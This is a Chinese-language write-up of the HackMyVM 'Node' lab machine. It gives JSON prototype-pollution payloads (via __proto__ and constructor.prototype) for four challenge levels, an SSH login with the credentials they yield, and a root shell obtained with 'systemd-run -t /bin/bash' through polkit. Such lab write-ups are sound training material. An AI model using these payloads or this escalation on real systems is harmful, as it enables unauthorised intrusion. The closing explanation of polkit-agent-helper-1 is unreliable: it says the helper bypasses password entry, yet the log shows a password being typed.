HackMyVM-Node

好想变成一只水母啊……

极简靶机,总体只有两个知识点。

靶机ip:192.168.56.127


GetHungry

扫描端口,发现只开了22和一个叫3000的自定义端口。

1
2
3
4
5
6
7
8
9
10
11
12
 nmap 192.168.56.127
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-27 00:10 EDT
Nmap scan report for 192.168.56.127
Host is up (0.00065s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
MAC Address: 08:00:27:67:81:6A (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds

访问3000端口,是个JS原型链污染挑战的小游戏,一共要过四关。

解释 JavaScript 中的 Prototype Pollution (原型污染) 漏洞及其防御。 - 智猿学院-前后端,数据库,人工智能,云计算等领域前沿技术讲座

【漏洞学习】JavaScript Prototype Pollution(JavaScript原型污染漏洞) - wh03ver-momo - 博客园

关卡 1: 基础原型污染

通过修改对象原型或函数验证来提升权限。使用JSON输入进行攻击。

1
2
3
4
5
6
{
"__proto__": {
"isAdmin": true
}
}

关卡 2: 绕过简单防护

通过修改对象原型或函数验证来提升权限。使用JSON输入进行攻击。
当前进度 25%
攻击提示

这一关过滤了 ‘proto‘,尝试使用 ‘constructor.prototype’ 污染 Array.prototype

1
2
3
4
5
6
7
8
{
"constructor": {
"prototype": {
"isAdmin": true
}
}
}

关卡 3: 多层原型污染

通过修改对象原型或函数验证来提升权限。使用JSON输入进行攻击。
当前进度 50%
攻击提示

使用嵌套对象中的 ‘proto‘ 污染 Object.prototype,使所有对象(包括函数实例)继承 isAdmin 属性

1
2
3
4
5
6
7
{
"a": {
"__proto__": {
"isAdmin": true
}
}
}

关卡 4: 动态验证绕过

通过修改对象原型或函数验证来提升权限。使用JSON输入进行攻击。

1
2
3
4
5
6
7
8
{
"a": {
"constructor": {
"prototype": {
"validateAccess": "function() { return true; }"
}
}
}

全部做完之后拿到hungry:imveryhungry,即user登录密码,ssh上去拿到userflag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Last login: Sat Jul 26 13:56:22 2025 from 192.168.56.104
hungry@Node:~$ ls -al
total 28
drwxr-xr-x 3 hungry hungry 4096 Jul 26 12:17 .
drwxr-xr-x 3 root root 4096 Jul 23 02:51 ..
lrwxrwxrwx 1 root root 9 Jul 23 02:52 .bash_history -> /dev/null
-rw-r--r-- 1 hungry hungry 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 hungry hungry 3526 Apr 18 2019 .bashrc
drwx------ 3 hungry hungry 4096 Jul 26 12:17 .gnupg
-rw-r--r-- 1 hungry hungry 807 Apr 18 2019 .profile
-rw-r--r-- 1 root root 44 Jul 23 03:04 user.txt
hungry@Node:~$ cat user.txt
flag{user-8c4b1157cb6f8884aa183ac0f1447e6c}
hungry@Node:~$

ps:因为之前web界面好像延迟开放了一会先用curl扫了一下,里面有非常非常多的信息,包括easy模式还有flag存储的api能直接访问,不过至少要先做一题拿到管理员cookie

pps:easy模式真的直接给登录账号密码。


Root

这里信息收集挺麻烦的就不浪费版面了,没发现东西后来问了作者才知道是要利用polkit。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
hungry@Node:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1

polkit-agent-helper-1为root权限。

这我一开始没想到,毛了夜佬的wp。

Linux系统安全:权限提升与远程控制技巧-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
12
hungry@Node:~$ systemd-run -t /bin/bash
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ===
Authentication is required to manage system services or other units.
Authenticating as: hungry
Password:
==== AUTHENTICATION COMPLETE ===
Running as unit: run-u7.service
Press ^] three times within 1s to disconnect TTY.
root@Node:/# cat /root/root.txt
flag{root-c946739aa8e0f1008c32e311076f355f}
root@Node:/#

为什么结合 polkit-agent-helper-1 可以直接获取 root 权限?

  1. polkit 的工作原理
    polkit(PolicyKit)是 Linux 上用于授权非特权进程(如普通用户)执行特权操作(如以 root 用户运行命令)的框架。它通过策略规则来控制哪些操作可以由哪些用户执行。polkit-agent-helper-1 是一个与 polkit 一起工作的工具,它用于处理用户的认证请求和执行操作的授权。

  2. 授权过程
    当你运行 systemd-run -t /bin/bash 时,系统会触发一个 polkit 授权请求,要求用户进行身份验证。此时,polkit 会根据策略规则,决定是否允许该用户执行 root 操作。如果你输入正确的密码(或系统配置允许你的用户执行该操作),就会成功提升为 root 权限。

  3. polkit-agent-helper-1 的角色
    polkit-agent-helper-1 作为一个工具,可以触发 polkit 的认证过程,允许特定用户(如普通用户 hungry)在未完全依赖于手动输入密码的情况下获取 root 权限。换句话说,如果 polkit-agent-helper-1 被配置为允许普通用户以 root 权限执行某些命令,它将通过 polkit 提供认证机制,并授权用户以 root 权限执行相关命令。

  4. 权限策略配置
    实际上,polkit 是通过一系列的权限策略文件来控制访问的。例如,/etc/polkit-1/ 目录下的策略文件指定了哪些操作是允许的,哪些是需要管理员权限的,或者哪些命令是普通用户可以执行的。如果 polkit 的策略文件配置了普通用户 hungry 可以运行特定命令(如 systemd-run)并授权该操作,它就能够在认证后以 root 身份执行命令。

  5. 如何实现这一点

    • polkit-agent-helper-1 可以在后台自动处理 polkit 认证过程,避免需要手动输入密码。
    • systemd-run 命令本身会触发 polkit 认证请求,但 polkit-agent-helper-1 可以通过 polkit 自动处理授权,从而允许普通用户在获得授权后执行 root 命令。

    总之,polkit-agent-helper-1 结合 polkit 的授权机制,能够帮助普通用户执行本应由 root 用户执行的命令。

总结

polkit-agent-helper-1polkit 结合使用时,能够通过自动化身份验证和权限授权的过程,让普通用户通过 polkit 授权来运行 root 权限的命令。在你的例子中,polkit-agent-helper-1 通过触发 polkit 的授权流程,允许 hungry 用户以 root 身份执行 systemd-run 命令。

如果你不希望某个用户能够轻松获得 root 权限,应该调整相应的 polkit 策略,限制其对特定命令或服务的访问权限。

好想变成一只水母啊……


HackMyVM-Node
http://example.com/2025/07/27/HackMyVM-Node/
Author
Skyarrow
Posted on
July 27, 2025
Licensed under